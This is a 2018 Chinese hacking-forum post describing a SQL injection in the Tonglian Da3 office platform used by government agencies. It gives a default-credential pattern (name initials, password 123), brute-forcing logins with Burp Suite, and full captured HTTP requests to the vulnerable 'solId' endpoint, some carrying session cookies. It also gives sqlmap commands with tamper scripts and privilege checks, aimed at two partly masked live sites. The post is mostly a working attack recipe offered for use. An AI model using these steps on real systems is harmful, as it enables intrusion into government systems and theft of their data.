中国网络渗透测试联盟

标题: 同联Da3协同办公平台前台通用sql injection漏洞 [打印本页]
作者: admin    时间: 2018-10-20 20:15
标题: 同联Da3协同办公平台前台通用sql injection漏洞

9 x# O4 F9 k; E- @' Q
! p- H- V( @2 T) k

, f! k" n, m! a9 H2 b# E" k8 H

' W- p1 X$ O3 `! X. u4 `5 e; V 平台简介： & S1 u7 x m1 X8 n! h5 h. Q, x

, Q5 Y/ d7 v# \% r3 D& A

, [* ]: }# c' t0 D5 k   , A( R: T; J# U* r! R! e1 X% x

" A/ c9 j' F" }- ]" m

" J8 R: u1 F$ u# S6 v 北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
/ E6 {+ m3 n7 s; R7 f 同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
: i& R) V" q+ E& h0 O. O同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ : r6 B1 I" c/ K( G9 r$ V* e

, Z. u _% g# ~/ C0 R- ~* N+ L

3 Q0 x' x4 |3 I! y' `  / f: V# r' D) K5 I, y0 f) f8 z

8 G$ W4 p( z/ @$ ]' r

: x: ^% P4 h- Q+ z0 e 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：; D; S# \6 d) G

/ U% F2 s# r4 L/ c

# Y) w: v) o$ }   ; j& K5 {2 k! W7 P* ~, x1 T! b- [

$ q( S* G/ J. y$ H

) g! C5 v8 s# E6 m" c) L& S, ]5 v http://1.1.1.1:7197/cap-aco/#（案例2-）; E! S E, ^8 I2 O! O) s

0 j9 A8 B% V2 h. k

, S/ C" g! E; N7 o9 P& N http://www.XXOO.com （案例1-官网网站）2 [$ C$ ?8 Q, V: a+ M9 c

& @+ T: Z9 M/ k" W7 A3 b! }

7 C* w: F% \4 ]& V( u1 ~  # E% M8 U7 m D d

1 a' p# C( s9 m% V* p

. G: ?- ]/ ?, M9 `" b 漏洞详情: ! k# q* U6 Z" V6 o- y( \

4 I* \3 a; R) q, e- B

6 [: R5 x: B4 X+ t) t  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试$ l5 ?! O. T. A8 E/ F

2 p) ]- {; {; v$ H; ]5 [6 m

, i$ D* B; H. b! w7 }" k      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： ) z5 h- C6 B3 ^" {/ k4 u2 B. N$ K

6 E$ D4 L: U, r' e' N

, {+ @) O/ g% x0 ^8 }   2 ~ q% c+ e D' K4 ^' q/ {

2 _& W. ~3 G( k9 ^

% O% K) f( }8 I; @( [4 `  * y4 m: E; {: P3 [+ o

$ {8 z' [# [( ~0 `

2 D" m4 }8 T* K: z status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： q* j/ }4 e, L6 Y7 _

1 \# g; L; I, }3 s3 U8 n

) y# o$ n8 f! w 1、案例1-官方网站 % d& s& ~: D' Y' F

* i% K: h& l8 k: @. @0 q+ B( {

% S% y8 k# ?; z6 l/ a6 i7 y7 ~ GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1 M6 p5 Z9 w! i; }' n8 p

5 w# h3 c. u( A' h& N6 ^9 G/ y. B

, X: L1 A. \ w2 `7 g Host: www.XXOO.com ' d1 a4 B9 k8 B" C( u( v

0 s. h; i) Y. o4 Z, y+ D7 {

% W( }% T9 n( F( M8 x: [3 r& k: }3 L) [ Proxy-Connection: Keep-Alive6 P" i% q i2 Z. E/ _* Z

( @: `; `7 J0 S

1 W U+ v! [5 l2 P Accept: application/json, text/javascript, */*; q=0.01) o& I7 l. M8 U/ d+ Z) a

3 T) S( f w3 U+ K# n; [

" i1 q8 Y4 ?( a1 X7 r# o# u& |# A Accept-Language: zh-CN . ]- j% k/ L$ I5 ]

& ]+ m7 H) G5 e

( v7 }- u7 @6 r7 T/ O+ Z Content-Type: application/json! }, ~8 v! V& R# G7 c7 ^4 L& c) o

& C( I' R" F% A R4 u4 k, U

* N2 I/ v# ?4 N! I$ l User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko ; }% L5 X9 ~$ j" H1 Q9 @ S

; ~6 [7 {9 `' ~- w6 G: c

9 }$ h% h7 v/ |# Z4 i X-Requested-With: XMLHttpRequest3 _6 ^4 L- S" T$ ^* U" g1 Z2 f

$ H) K+ J X& ^7 Y

& G$ y+ Y/ J/ }' L- H$ r" W Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 * [, T" X1 m5 L* ^5 G

# g) [' J8 C' s* `# e5 s: l

" `6 s8 ^. Z3 X0 c( @ Accept-Encoding: gzip, deflate, sdch + e6 p3 P2 _- ]4 H9 ~

/ j `% u0 F4 B. N3 M. L3 z$ Q

* \7 p- B/ R( G7 F0 { Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e $ q" t/ V ]- |1 C

3 b1 B6 V, S, P5 i6 e

4 C% d( m! Y, W @0 n' p, V* P4 v* b 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:- u9 P! S! m1 J5 u9 P

) H1 ^7 j; ?. J8 q# ?. a+ j" {: O9 a) d

2 d; A) Z2 F9 ^% M p" v y  # T! l# [/ j1 x2 P$ i

9 c; i# Y% Q8 ?2 L# ?$ r- X3 s0 F

" w* v* F* J. Y, H, K" v   , k# D$ U7 f k. \2 L. ?) }% F

7 A- B; q7 a3 t3 Z% r+ A0 l

: `/ i; @; _/ G# ~! L1 P  7 ^7 ?$ H% R4 b5 q4 N

+ N2 W7 s' n8 [

* `1 a! b& f$ p: Z1 e6 w' ~  0 r4 W- z3 j% ]# V3 D- a

# Z2 d! Y# [+ z+ P9 d

$ }8 e) e) Z6 H, f0 \   & M3 \( f7 g2 h) @6 v& u5 U

3 {. ~+ d/ V) r9 i/ K' N4 A3 K% k

# x3 @" X" _* J4 [# _7 B 2、案例2-某天河云平台3 ?% `/ f' z4 W! G6 q: X

4 F& p/ q4 {4 G b4 l3 A

8 Y1 N9 W9 v: n) |! W GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1/ t9 y6 J3 y0 l. S% W9 `

' ?6 I8 P6 m/ N2 Q/ l

* ]$ d3 R# X& f4 f7 b7 [ I Host: 1.1.1.:71979 X$ [0 \& y! K& ~% J( b; A" v

$ K" |+ s6 Y0 B5 d

% G! f Z( t$ ~ Accept: application/json, text/javascript, */*; q=0.01. w! Y3 o+ b2 I! h

4 g" `5 N" X6 z* X

3 M8 A" P+ @- p0 n X-Requested-With: XMLHttpRequest, T5 z1 w% C0 Y* _

7 {6 G# w/ H# @4 I+ H

h1 B$ p2 _3 X! }8 A$ J7 O User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0' k9 [7 ~$ @3 f# @# Y- P

5 l! S6 ]& I( O

F: B: g/ O0 `0 O1 b0 l" g Content-Type: application/json T# k& ^ z6 r2 W; T& m

4 N) N. E& ]5 E1 ?) L1 N+ m

" P2 U0 m( U' j r! N3 x c Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 4 V) S. \9 ?- b0 \( N

+ O" T" n6 V/ |3 R

0 A( D4 ~# i) X$ M3 u Accept-Language: zh-CN,zh;q=0.8$ E- }7 }$ l: Y, P' Y8 i

6 T, J: o1 x3 j' S

; r3 f' Y: w7 M7 F Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 % t4 ]9 I+ g2 {: [, N0 K/ h0 I

g2 T/ Q% ]/ b$ D g J$ V* R

0 I' r' P; P0 U& D& T Connection: close ( a& [0 z* `' H& e: }

f6 H7 c A) ?: n" f$ _

6 Q: @9 l0 m. `9 [( S9 s 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:+ D7 {/ G2 v) o* Q

9 }+ `: m( H- _

8 u. Q# k( |& O* W8 Q/ m% a& S   " g& r# [( h6 h2 x* F

' B4 E9 J$ z" `: I/ T

+ `8 ~. ], r5 h8 a& `+ ?
9 |* d4 l- d7 o) {5 i4 m4 T





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2